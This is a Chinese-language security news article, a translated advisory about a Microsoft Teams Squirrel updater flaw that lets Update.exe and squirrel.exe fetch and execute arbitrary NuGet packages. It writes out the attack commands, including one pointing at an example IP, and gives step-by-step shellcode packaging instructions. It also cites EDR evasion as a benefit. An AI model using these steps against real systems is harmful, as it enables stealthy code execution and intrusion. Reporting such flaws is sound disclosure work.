微软 Teams 曝0day!可用于下载并运行恶意包,GitHub等受影响
编译:奇安信代码卫士团队
微软 Teams 桌面 app中实现的现有更新机制可导致在系统上下载并执行任意文件。该问题也影响 GitHub、WhatsApp和 UiPatch 软件桌面版,不过仅可用于下载 payload。目前尚未修复。
概述
这些应用程序依靠开源的 Squirrel 项目管理安装和更新例程,该项目使用 NuGet 数据包管理器创建必要文件。
多名安全研究员发现,为易受攻击的应用程序使用 ‘update’ 命令,可能会在当前用户上下文中执行任意二进制,同样的情况也适用于 ‘squirrel.exe’。
Payload 通过微软 Teams 增加至文件夹并使用一下任何一种命令自动执行:
Update.exe --update [url to payload]
squirrel.exe --update [url to payload]
这些命令可和其它参数一起使用,包括 ‘download’,它可从远程位置检索 NuGet 数据包形式的 payload。
Update.exe --download [url to payload]
squirrel.exe --download [url to payload]
同样的方法也适用于 “squirrel.exe”,它也是微软 Teams 安装包的一部分。这两种可执行文件是GitHub 上 LOLBAS (Living Off the Land Binaries and Scripts) 数据库的一部分,详见:
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Update/
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Squirrel/
逆向工程师 Reegun Richard 在微软 Teams 上测试了该问题并在6月4日告知微软。由于微软表示将在下个版本中修复,因此该应用程序目前仍易受攻击。
在 GitHub、WhatsApp 和 UiPatch 上尝试复现影响并无法执行payload,只可能从远程服务器中下载它。Richard 表示,“在这种场景下,攻击者能通过该方法掩盖 payload 下载,而这对于攻击者而言仍然发挥作用。”
Richard 属于蓝队,曾希望在微软发布补丁后公开详情。另外一名红队研究员 RingZero 团队的 Mr. Un1k0d34 也发现了该问题并公开了详情。
Richard 在推特上发布了找到该漏洞的过程并解释了其根因。他从三月份 Hexacorn 公开的研究成果谈起,该成果主要关注的是基于 Electron 应用程序的 live-off-the-land 二进制 (lolbins)。
Richard 还发布视频演示了攻击者如何利用微软 Teams 在目标计算机上获得 shell。
微软 Team 是商用工具,是对 Skype for Business 的升级版。它是 Slack 的替代产品,提供统一通信功能,包括视频会议、文件存储和协作功能,支持和其它开发者产品集成的扩展。
技术分析
Richard 在文章中进行了简要的技术分析,如下:
易受攻击的端点:
%localappdata%/Microsoft/Teams/update.exe
%localappdata%/Microsoft/Teams/current/squirrel.exe
创建payload:
Payload 准备:
1. 提取任意nupkg 数据包,我提取的是Exploit-1.5.60-full.nupkg。
2.进入 Exploit-1.5.60-full\lib\net45 并释放shellcode 为 ‘squirrel.exe’,将完整的文件夹压缩为 ‘Exploit-1.5.60-full.nupkg’。
3. 以如下命令计算元数据。
sha1sumExploit-1.5.60-full.nupkg && wc -c < Exploit-1.5.60-full.nupkgOutput : fa8b87f0b995498a6e890c832dcaf968997608d4 Exploit-1.5.60-full.nupkg4695
4.创建名为RELEASES 的文件并复制并保存如上输出。那么主要的目录包含两个文件Exploit-1.5.60-full.nupkg 和 RELEASES。
5. 上传至任意http 服务器。
如何实施攻击:
1.下载并执行:
第1步:到目标应用程序文件夹“%localappdata%[application Folder]”
第2步:运行如下命令
update.exe — update=[http server contains the above 2 files]
如 update.exe —update=http://192.168.10.251/
更新命令将下载恶意数据包并自动安装。
2. 下载:
update.exe — download=[http server contains the above2 files]
它会把包含shellcode 的数据包下载到 “packages”文件夹。
影响是什么?
1.从微软合法二进制执行恶意代码(Living off the Land)。
2. 无需特殊权限,标准的windows 用户即可实施利用。
3. 红队/内部人员可借此躲避EDR/IDS。
4. 发生权限提升,如果应用程序能够控制SYSTEM 文件。
问题是什么?
1. 不存在应用程序能够从认证URL 升级的受控设计。
2. 允许第三方URL 下载数据包。
3. 我不会说 Squirrel应用程序的设计存在问题,但开发人员可能需要编辑不需要的参数并推送自动更新。
原文链接
https://www.bleepingcomputer.com/news/security/microsoft-teams-can-be-used-to-download-and-run-malicious-packages/
https://medium.com/@reegun/nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-execution-80c9df51cf12
题图:Pixabay License
本文由奇安信代码卫士编译,不代表奇安信观点,转载请注明“转自奇安信代码卫士 www.codesafe.cn”。
奇安信代码卫士 (codesafe)
国内首个专注于软件开发安全的产品线。